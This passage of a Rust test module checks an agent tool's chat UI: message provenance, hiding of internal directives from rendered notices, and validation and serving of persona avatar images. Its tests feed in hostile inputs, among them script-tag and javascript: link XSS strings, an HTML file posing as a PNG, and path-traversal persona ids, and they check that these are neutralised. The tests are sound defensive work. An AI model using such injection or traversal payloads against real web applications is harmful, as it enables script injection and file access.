13319        let mut closed = talks.get(&id).expect("reload");
13320        talk::close(&mut closed, &talks).expect("close");
13321        let e = call(2).await.expect_err("closed talk");
13322        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13323        assert!(e.message.contains("takes no more turns"), "{}", e.message);
13324    }
13325
13326    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
13327    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13328        let tmp = TempDir::new().expect("tempdir");
13329        let repo = tmp.path().join("repo");
13330        std::fs::create_dir_all(&repo).expect("repo dir");
13331        std::fs::write(
13332            repo.join("magi.toml"),
13333            format!("{MOCK_AGENT_TOML}\n{extra}"),
13334        )
13335        .expect("write magi.toml");
13336        let home = TempDir::new().expect("temp home");
13337        let talks = Talks::at(home.path().join("talks"));
13338        let ui = Arc::new(
13339            Ui::new(
13340                Queue::at(home.path().join("queue")),
13341                Questions::at(home.path().join("questions")),
13342                talks.clone(),
13343                home.path().join("runs"),
13344                home.path().to_path_buf(),
13345                repo.clone(),
13346            )
13347            .with_worktrees_root(home.path().join("wt")),
13348        );
13349        let cfg = config_for(&repo).await.expect("discover config");
13350        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13351        (tmp, home, ui, talk.id, repo)
13352    }
13353
13354    #[tokio::test]
13355    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13356        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13357        let mut conversation = ui.talks.get(&id).unwrap();
13358        talk::record(
13359            &mut conversation,
13360            &ui.talks,
13361            "# Update on a task you filed\noperator words",
13362            vec![],
13363        )
13364        .unwrap();
13365        // Simulate an old operator record; headings do not prove authorship.
13366        conversation.turns[0].sender = None;
13367        conversation.turns[0].messages.clear();
13368        ui.talks.put(&mut conversation).unwrap();
13369        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13370        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13371        talk::drain(&mut conversation, &ui.talks).unwrap();
13372        talk::record_reply(
13373            &mut conversation,
13374            &ui.talks,
13375            "about that report",
13376            vec![],
13377            Some(talk::ReplyTarget {
13378                turn: 1,
13379                message: 1,
13380            }),
13381        )
13382        .unwrap();
13383        conversation.turns[2].messages[0]
13384            .reply
13385            .as_mut()
13386            .unwrap()
13387            .sender = None;
13388        conversation.turns.push(talk::Turn {
13389            sender: Some(talk::Sender::Persona),
13390            who: talk::Who::Agent,
13391            body: "magi: actual persona words".into(),
13392            at: Timestamp::now(),
13393            attachments: vec![],
13394            usage: None,
13395            breaks: None,
13396            messages: vec![],
13397            posted_by: None,
13398        });
13399        ui.talks.put(&mut conversation).unwrap();
13400        let view = TalkView::with_config(
13401            ui.talks.get(&id).unwrap(),
13402            false,
13403            None,
13404            &ui.home,
13405            &ui.references,
13406        );
13407        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13408        assert_eq!(
13409            view.talk.turns[1].messages[0].sender,
13410            Some(talk::Sender::Operator)
13411        );
13412        assert_eq!(
13413            view.talk.turns[1].messages[1].sender,
13414            Some(talk::Sender::Magi)
13415        );
13416        assert_eq!(
13417            view.talk.turns[2].messages[0]
13418                .reply
13419                .as_ref()
13420                .unwrap()
13421                .sender,
13422            Some(talk::Sender::Magi)
13423        );
13424        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13425        assert_eq!(view.turn_messages_md[0].len(), 1);
13426        assert!(view.turn_messages_md[0][0].is_none());
13427        assert!(view.turn_messages_md[1][0].is_none());
13428        assert!(view.turn_messages_md[1][1].is_some());
13429    }
13430
13431    #[tokio::test]
13432    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13433        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13434        let mut conversation = ui.talks.get(&id).unwrap();
13435        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13436        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13437        talk::queue_notice(
13438            &mut conversation,
13439            &ui.talks,
13440            &body,
13441            "watch:123",
13442            &|_| false,
13443            None,
13444            display.clone(),
13445        )
13446        .unwrap();
13447        assert!(
13448            !talk::queue_notice(
13449                &mut conversation,
13450                &ui.talks,
13451                &body,
13452                "watch:123",
13453                &|_| false,
13454                None,
13455                display.clone()
13456            )
13457            .unwrap()
13458        );
13459        let saved = ui.talks.get(&id).unwrap();
13460        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13461        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13462        assert!(
13463            view.talk.turns[0].messages[0].display.is_none(),
13464            "operator copy stays literal"
13465        );
13466        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13467        assert!(view.turn_messages_md[0][0].is_none());
13468        let queued_md = view.pending_messages_md[0].clone();
13469        assert_eq!(
13470            queued_md,
13471            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13472        );
13473        talk::drain(&mut conversation, &ui.talks).unwrap();
13474        talk::record_reply(
13475            &mut conversation,
13476            &ui.talks,
13477            "Explain",
13478            vec![],
13479            Some(talk::ReplyTarget {
13480                turn: 1,
13481                message: 0,
13482            }),
13483        )
13484        .unwrap();
13485        let mut saved = ui.talks.get(&id).unwrap();
13486        assert_eq!(saved.turns[1].messages[0].body, body);
13487        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13488        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13489        assert!(!reply.excerpt.contains("automatic report"));
13490        reply.excerpt = body.chars().take(240).collect(); // old saved quote
13491        saved.turns[1].messages[0].display = None; // old MAGI send
13492        ui.talks.put(&mut saved).unwrap();
13493        let view = TalkView::with_config(
13494            ui.talks.get(&id).unwrap(),
13495            false,
13496            None,
13497            &ui.home,
13498            &ui.references,
13499        );
13500        assert_eq!(view.turn_messages_md[1][0], queued_md);
13501        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13502        assert!(
13503            !view.talk.turns[2].messages[0]
13504                .reply
13505                .as_ref()
13506                .unwrap()
13507                .excerpt
13508                .contains("automatic report")
13509        );
13510        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13511    }
13512
13513    #[tokio::test]
13514    async fn consultation_display_hides_directives_in_queue_and_history() {
13515        for node in [
13516            "implement",
13517            crate::land::APPROVAL_NODE,
13518            crate::github_text::ASK_NODE,
13519        ] {
13520            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13521            let mut question = Question::new(
13522                "run-123".into(),
13523                node.into(),
13524                "seat-1".into(),
13525                "Which backend?".into(),
13526                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13527                vec!["SQLite".into(), "Redis".into()],
13528            );
13529            ui.questions.put(&mut question).unwrap();
13530            let body = crate::prompt::chat_consult(&question);
13531            let mut conversation = ui.talks.get(&id).unwrap();
13532            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13533            assert!(
13534                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13535            );
13536            conversation = ui.talks.get(&id).unwrap();
13537            assert_eq!(conversation.pending_messages[0].body, body);
13538            assert!(body.contains("magi answer"));
13539            let mut legacy_pending = conversation.clone();
13540            legacy_pending.pending_messages[0].display = None;
13541            let legacy_view =
13542                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13543            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13544            assert!(legacy_md.contains("Question consultation"));
13545            assert!(!legacy_md.contains("magi answer"));
13546            let view =
13547                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13548            assert!(
13549                view.turn_messages_md[0][0].is_none(),
13550                "operator copy stays literal"
13551            );
13552            let queued_md = view.pending_messages_md[0].clone().unwrap();
13553            let rendered = serde_json::to_string(&queued_md).unwrap();
13554            for visible in [
13555                "Which backend?",
13556                "Context",
13557                "storage",
13558                "SQLite",
13559                "Redis",
13560                "<script>literal</script>",
13561            ] {
13562                assert!(rendered.contains(visible), "missing {visible}");
13563            }
13564            for directive in [
13565                "What to do",
13566                "magi answer",
13567                "Never answer it yourself",
13568                "Do not edit the repository",
13569            ] {
13570                assert!(!rendered.contains(directive), "exposed {directive}");
13571            }
13572            assert_eq!(
13573                view.talk.pending_messages[0].display,
13574                Some(crate::prompt::chat_consult_display(&question))
13575            );
13576            talk::drain(&mut conversation, &ui.talks).unwrap();
13577            let view =
13578                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13579            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13580            assert_eq!(conversation.turns[1].messages[0].body, body);
13581
13582            // Historical consultations lack a snapshot: show a safe placeholder
13583            // rather than parsing instructions or reconstructing mutable facts.
13584            conversation.turns[1].messages[0].display = None;
13585            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13586            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13587            assert!(legacy.contains("Question consultation"));
13588            assert!(!legacy.contains("magi answer"));
13589            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13590        }
13591    }
13592
13593    #[test]
13594    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13595        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13596        let (body, mut display) =
13597            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13598        display.facts = facts.into();
13599        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13600        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13601        let json = serde_json::to_string(&nodes).unwrap();
13602        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13603            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13604        }
13605        assert!(json.contains("<script>alert(1)</script>"));
13606        assert!(!json.contains("javascript:"));
13607        assert!(!json.contains("Tell the operator"));
13608        assert!(!json.contains("untrusted"));
13609        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13610        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13611        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13612        assert_eq!(
13613            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13614            md::to_nodes("# Status", &md::ImageBase::None),
13615        );
13616    }
13617
13618    #[tokio::test]
13619    async fn notification_display_recovers_exact_legacy_completion_references() {
13620        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13621        let mut conversation = ui.talks.get(&id).unwrap();
13622        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13623            id: "task-123",
13624            title: "Change",
13625            status: "done",
13626            reason: None,
13627            run: Some("run-123"),
13628            pr: None,
13629            summary: Some("Merge state unknown"),
13630        });
13631        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13632        conversation.turns[0].sender = None;
13633        conversation.turns[0].messages.clear();
13634        conversation.turns[0].breaks = None;
13635        conversation.pending = body.clone();
13636        conversation
13637            .completion_notices
13638            .push(crate::chat_notify::CompletionReference {
13639                task: "task-123".into(),
13640                run: Some("run-123".into()),
13641                notice: body.clone(),
13642            });
13643        ui.talks.put(&mut conversation).unwrap();
13644        let view = TalkView::with_config(
13645            ui.talks.get(&id).unwrap(),
13646            false,
13647            None,
13648            &ui.home,
13649            &ui.references,
13650        );
13651        assert_eq!(
13652            view.talk.turns[0].messages[0].display,
13653            Some(display.clone())
13654        );
13655        assert_eq!(view.talk.pending_messages[0].display, Some(display));
13656        assert_eq!(
13657            view.talk.turns[0].messages[0].sender,
13658            Some(talk::Sender::Magi)
13659        );
13660        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13661        conversation.completion_notices[0]
13662            .notice
13663            .push_str("different");
13664        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13665        assert!(view.talk.turns[0].messages.is_empty());
13666        assert!(view.talk.pending_messages.is_empty());
13667    }
13668
13669    #[tokio::test]
13670    async fn avatar_settings_report_states_and_inherit_after_corruption() {
13671        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13672        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13673            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13674        ))
13675        .await;
13676        let path = avatar_setting_path(home.path(), Some("rei"));
13677        let orphan = avatar_setting_path(home.path(), Some("removed"));
13678        save_icon_file(&orphan, icon).unwrap();
13679        for (saved, expected) in [
13680            (icon, "custom"),
13681            ("builtin", "builtin"),
13682            ("data:image/png;base64,!!!!", "inherit"),
13683            ("data:image/png;base64,PGh0bWw+", "inherit"),
13684            ("/tmp/avatar.png", "inherit"),
13685        ] {
13686            atomic_icon_write(&path, saved).unwrap();
13687            let catalog =
13688                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13689                    .await
13690                    .unwrap()
13691                    .0;
13692            let personas = catalog["personas"].as_array().unwrap();
13693            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13694            assert_eq!(rei["override_state"], expected);
13695            assert_eq!(rei["has_config_icon"], true);
13696            assert_eq!(rei["is_orphan"], false);
13697            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13698            assert_eq!(removed["override_state"], "custom");
13699            assert_eq!(removed["is_orphan"], true);
13700            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13701            assert_eq!(default["override_state"], "inherit");
13702            assert_eq!(default["has_config_icon"], false);
13703            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13704            assert_eq!(
13705                effective.as_deref(),
13706                Some(if expected == "builtin" { "" } else { icon })
13707            );
13708        }
13709    }
13710
13711    #[tokio::test]
13712    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13713        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13714        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13715            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13716        ))
13717        .await;
13718        let target = |id: Option<&str>| AvatarSettingsQuery {
13719            persona: id.map(str::to_owned),
13720            ..Default::default()
13721        };
13722        let original_config = config_for(&repo).await.unwrap();
13723        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13724        let original_prompt = persona::section_for(&original_persona, None);
13725        let before = talk_detail(State(ui.clone()), Path(id.clone()))
13726            .await
13727            .unwrap()
13728            .0;
13729        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13730            let _ = avatar_settings_put(
13731                State(ui.clone()),
13732                Query(target(persona)),
13733                Json(MagiIconUpload { icon: icon.into() }),
13734            )
13735            .await
13736            .unwrap();
13737            let path = avatar_setting_path(home.path(), persona);
13738            assert!(path.starts_with(home.path().join("avatars")));
13739            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13740            for bad in [
13741                "/tmp/image.png".to_owned(),
13742                "data:image/png;base64,!!!!".to_owned(),
13743                "data:image/png;base64,PGh0bWw+".to_owned(),
13744                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13745                format!(
13746                    "data:image/png;base64,{}",
13747                    "A".repeat(persona_icon::ICON_MAX_BYTES)
13748                ),
13749            ] {
13750                assert!(
13751                    avatar_settings_put(
13752                        State(ui.clone()),
13753                        Query(target(persona)),
13754                        Json(MagiIconUpload { icon: bad })
13755                    )
13756                    .await
13757                    .is_err()
13758                );
13759                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13760            }
13761        }
13762        assert!(read_magi_icon(home.path()).is_none());
13763        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13764        let after = talk_detail(State(ui.clone()), Path(id.clone()))
13765            .await
13766            .unwrap()
13767            .0;
13768        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13769        assert_ne!(
13770            before
13771                .personas
13772                .iter()
13773                .find(|p| p.id == "magi")
13774                .unwrap()
13775                .avatar,
13776            after
13777                .personas
13778                .iter()
13779                .find(|p| p.id == "magi")
13780                .unwrap()
13781                .avatar
13782        );
13783        let restarted = Arc::new(Ui::new(
13784            Queue::at(home.path().join("queue")),
13785            Questions::at(home.path().join("questions")),
13786            Talks::at(home.path().join("talks")),
13787            home.path().join("runs"),
13788            home.path().to_owned(),
13789            repo,
13790        ));
13791        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13792            .await
13793            .unwrap()
13794            .0;
13795        assert!(
13796            catalog["personas"]
13797                .as_array()
13798                .unwrap()
13799                .iter()
13800                .any(|p| p["id"] == "../custom/日本語")
13801        );
13802        for expected in ["custom", "default", "rei"] {
13803            assert!(
13804                catalog["personas"]
13805                    .as_array()
13806                    .unwrap()
13807                    .iter()
13808                    .any(|p| p["id"] == expected)
13809            );
13810        }
13811        let response =
13812            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
13813        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13814        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
13815            .await
13816            .unwrap();
13817        assert_eq!(
13818            effective_persona_icon(home.path(), "rei", Some(icon)),
13819            Some(String::new())
13820        );
13821        let response = talk_avatar(
13822            State(restarted.clone()),
13823            Path(id.clone()),
13824            Query(AvatarQuery {
13825                persona: Some("rei".into()),
13826                ..Default::default()
13827            }),
13828        )
13829        .await
13830        .unwrap();
13831        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
13832        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
13833            .await
13834            .unwrap()
13835            .0;
13836        assert_ne!(
13837            after
13838                .personas
13839                .iter()
13840                .find(|p| p.id == "rei")
13841                .unwrap()
13842                .avatar,
13843            reset
13844                .personas
13845                .iter()
13846                .find(|p| p.id == "rei")
13847                .unwrap()
13848                .avatar
13849        );
13850        let mut inherit = target(Some("rei"));
13851        inherit.inherit = Some("1".into());
13852        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
13853            .await
13854            .unwrap();
13855        assert_eq!(
13856            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
13857            Some(icon)
13858        );
13859        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
13860            .await
13861            .unwrap();
13862        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
13863        assert_eq!(
13864            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
13865            Some(icon)
13866        );
13867        // Display changes never rewrite the conversation or its prompt-bearing config.
13868        let cfg = config_for(&ui.repo).await.unwrap();
13869        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
13870        assert_eq!(persona::section_for(&resolved, None), original_prompt);
13871        assert!(!original_prompt.contains("data:image"));
13872        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
13873        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
13874        assert!(!stored.contains("data:image"));
13875        let mut orphan = ui.talks.get(&id).unwrap();
13876        orphan.persona = "../custom/日本語".into();
13877        let view = TalkView::with_config(
13878            orphan,
13879            false,
13880            Some(&cfg),
13881            home.path(),
13882            &id_links::IndexCache::default(),
13883        );
13884        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
13885    }
13886
13887    #[tokio::test]
13888    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
13889        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
13890        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13891        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13892        let _ = magi_icon_put(
13893            State(ui.clone()),
13894            Json(MagiIconUpload { icon: icon.into() }),
13895        )
13896        .await
13897        .unwrap();
13898        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
13899        assert_ne!(original, changed);
13900        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13901        let response = magi_avatar(
13902            State(ui.clone()),
13903            Query(AvatarQuery {
13904                persona: None,
13905                builtin: None,
13906            }),
13907        )
13908        .await;
13909        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
13910        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
13911        assert_eq!(
13912            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
13913            "nosniff"
13914        );
13915        for bad in [
13916            "data:image/png;base64,PGh0bWw+".to_owned(),
13917            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13918            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
13919        ] {
13920            assert!(save_magi_icon(home.path(), &bad).is_err());
13921            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
13922        }
13923        // Re-opened server state reads the same independent home file.
13924        let restarted = Arc::new(Ui::new(
13925            Queue::at(home.path().join("queue")),
13926            Questions::at(home.path().join("questions")),
13927            Talks::at(home.path().join("talks")),
13928            home.path().join("runs"),
13929            home.path().to_path_buf(),
13930            repo,
13931        ));
13932        assert_eq!(
13933            magi_icon_get(State(restarted.clone())).await.0["avatar"],
13934            changed
13935        );
13936        let view = TalkView::with_config(
13937            restarted.talks.get(&id).unwrap(),
13938            false,
13939            None,
13940            &restarted.home,
13941            &restarted.references,
13942        );
13943        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
13944        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
13945        let response = magi_avatar(
13946            State(ui.clone()),
13947            Query(AvatarQuery {
13948                persona: None,
13949                builtin: None,
13950            }),
13951        )
13952        .await;
13953        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
13954            .await
13955            .unwrap();
13956        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
13957        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
13958        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
13959        let _ = magi_icon_delete(State(ui)).await.unwrap();
13960    }
13961
13962    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
13963    async fn avatar(
13964        ui: &Arc<Ui>,
13965        id: &str,
13966        persona: Option<&str>,
13967        builtin: bool,
13968    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
13969        let res = talk_avatar(
13970            State(Arc::clone(ui)),
13971            Path(id.to_owned()),
13972            Query(AvatarQuery {
13973                persona: persona.map(str::to_owned),
13974                builtin: builtin.then(|| "1".to_owned()),
13975            }),
13976        )
13977        .await
13978        .expect("an avatar is never an error response");
13979        let h = res.headers();
13980        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
13981        let nosniff = h
13982            .get(header::X_CONTENT_TYPE_OPTIONS)
13983            .is_some_and(|v| v == "nosniff");
13984        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
13985        let status = res.status();
13986        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
13987            .await
13988            .expect("body")
13989            .to_vec();
13990        (status, ct, nosniff, csp, body)
13991    }
13992
13993    fn tiny_png() -> Vec<u8> {
13994        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
13995        b.extend_from_slice(&[0u8; 32]);
13996        b
13997    }
13998
13999    #[tokio::test]
14000    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14001        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14002        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14003        assert_eq!(res.status(), StatusCode::OK);
14004        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14005        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14006        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14007        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14008        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14009            .await
14010            .unwrap();
14011        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14012        assert_ne!(
14013            persona_icon::operator_svg(),
14014            persona_icon::builtin_svg("default")
14015        );
14016    }
14017
14018    #[tokio::test]
14019    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14020        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14021        for p in [
14022            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14023        ] {
14024            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14025            assert_eq!(status, StatusCode::OK, "{p}");
14026            assert_eq!(ct, "image/svg+xml", "{p}");
14027            assert!(nosniff && csp, "{p}");
14028            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14029        }
14030        // No `persona` means the conversation's own; unknown ones fall back.
14031        let own = avatar(&ui, &id, None, false).await;
14032        let default = avatar(&ui, &id, Some("default"), false).await;
14033        assert_eq!(own.4, default.4);
14034        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14035        assert_eq!(unknown.1, "image/svg+xml");
14036    }
14037
14038    #[tokio::test]
14039    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14040        let dir = TempDir::new().expect("icons");
14041        let good = dir.path().join("good.png");
14042        std::fs::write(&good, tiny_png()).unwrap();
14043        let spoof = dir.path().join("spoof.png");
14044        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14045        let big = dir.path().join("big.png");
14046        let mut bytes = tiny_png();
14047        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14048        std::fs::write(&big, bytes).unwrap();
14049        let missing = dir.path().join("missing.png");
14050        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14051        let extra = format!(
14052            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14053             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14054             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14055             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14056             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14057             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14058            uri(&good),
14059            uri(&spoof),
14060            uri(&big),
14061            uri(&missing),
14062        );
14063        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14064
14065        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14066        assert_eq!(
14067            (status, ct.as_str(), nosniff),
14068            (StatusCode::OK, "image/png", true)
14069        );
14070        assert_eq!(body, tiny_png());
14071        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14072        assert_eq!(ct, "image/png", "data URI");
14073
14074        for p in ["misato", "asuka", "shinji", "magi"] {
14075            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14076            assert_eq!(
14077                (status, ct.as_str(), csp),
14078                (StatusCode::OK, "image/svg+xml", true),
14079                "{p}"
14080            );
14081            assert!(body.starts_with(b"<svg"), "{p}");
14082        }
14083        // The page's own retry skips the icon.
14084        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14085        assert_eq!(ct, "image/svg+xml");
14086    }
14087
14088    #[tokio::test]
14089    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14090        let oversized = format!(
14091            "data:image/png;base64,{}",
14092            "A".repeat(persona_icon::ICON_MAX_BYTES)
14093        );
14094        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14095            let extra = format!(
14096                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14097            );
14098            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14099            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14100                .await
14101                .expect("detail with invalid icon");
14102            assert!(detail.personas.iter().any(|p| p.id == "custom"));
14103            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14104            assert_eq!(status, StatusCode::OK);
14105            assert_eq!(ct, "image/svg+xml");
14106            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14107            let Json(view) = talk_persona(
14108                State(Arc::clone(&ui)),
14109                Path(id.clone()),
14110                Json(TalkPersona {
14111                    persona: "custom".into(),
14112                }),
14113            )
14114            .await
14115            .expect("persona switch with invalid icon");
14116            assert_eq!(view.talk.persona, "custom");
14117            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14118        }
14119    }
14120
14121    #[tokio::test]
14122    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14123        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14124        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14125        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14126        assert_eq!(
14127            (status, ct.as_str(), nosniff, csp),
14128            (StatusCode::OK, "image/svg+xml", true, true)
14129        );
14130    }
14131
14132    #[tokio::test]
14133    async fn the_talk_view_carries_server_built_avatar_urls_only() {
14134        let (_t, _h, ui, id, _repo) =
14135            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14136        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14137            .await
14138            .expect("detail");
